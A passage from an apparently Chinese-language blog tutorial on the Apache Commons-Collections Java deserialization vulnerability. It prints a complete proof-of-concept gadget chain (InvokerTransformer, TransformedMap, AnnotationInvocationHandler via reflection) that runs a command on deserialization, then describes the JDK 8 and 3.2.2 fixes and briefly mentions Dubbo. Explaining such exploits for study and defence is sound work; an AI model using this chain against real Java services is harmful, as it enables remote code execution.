文章插图
不过不要高兴的太早,这个类没有 public 修饰符,默认只有同一个包才可以使用 。
文章插图
不过这点难度,跟上面一比,还真是轻松,我们可以通过反射获取从而获取这个类的实例 。
示例代码如下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);// 随便使用一个注解Object instance = ctor.newInstance(Target.class, exMap);
完整的序列化漏洞示例代码如下 :String[] execArgs = new String[]{"open -a Calculator"};final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String.class}, execArgs),};//Transformer transformerChain = new ChainedTransformer(transformers);Map<String, String> tempMap = new HashMap<>();// tempMap 不能为空tempMap.put("value", "you");Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);// 随便使用一个注解Object instance = ctor.newInstance(Target.class, exMap);File f = new File("test.payload");ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));oos.writeObject(instance);oos.flush();oos.close();ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));// 触发代码执行Object newObj = ois.readObject();ois.close();
上面代码中需要注意,tempMap需要一定不能为空,且 key 一定要是 value 。那可能有的同学为什么一定要这样设置?tempMap不能为空的原因是因为 readObject 方法内需要遍历内部 Map.Entry.
至于第二个问题,别问,问就是玄学~好吧,我也没研究清楚--,有了解的小伙伴的留言一下 。
最后总结一下这个反序列化漏洞代码执行链路如下:
文章插图
Common-Collections 漏洞修复方式在 JDK 8 中,AnnotationInvocationHandler 移除了 memberValue.setValue的调用,从而使我们上面构造的 AnnotationInvocationHandler+TransformedMap失效 。
另外 Common-Collections3.2.2 版本,对这些不安全的 Java 类序列化支持增加了开关,默认为关闭状态 。
比如在 InvokerTransformer类中重写 readObject,增相关判断 。如果没有开启不安全的类的序列化则会抛出UnsupportedOperationException异常
文章插图
Dubbo 反序列化漏洞Dubbo 反序列化漏洞原理与上面的类似,但是执行的代码攻击链与上面完全不一样,这里就不再复现的详细的实现的方式,感兴趣的可以看下面两篇文章:
https://blog.csdn.net/caiqiiqi/article/details/106934770
推荐阅读
- 微软,甲骨文和Facebook 最大严重性RCE漏洞 供应商存在严重漏洞
- Apache Guacamole多个漏洞分析
- Treck TCP/IP协议库多个漏洞安全风险通告
- 批量漏洞扫描器——Medusa
- 淘宝违规词上架不被删除?是技巧还是走系统漏洞? 淘宝怎么排除关键词
- Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行
- 淘宝违规词上架不被删除?是技巧还是走系统漏洞? 淘宝违规词要不要处理
- 漏洞无处不在,3步教你暴力破解ssh服务
- CVE-2020-1948: Apache Dubbo 远程代码执行漏洞通告
- 漏洞扫描技巧篇 「Web 漏洞扫描器」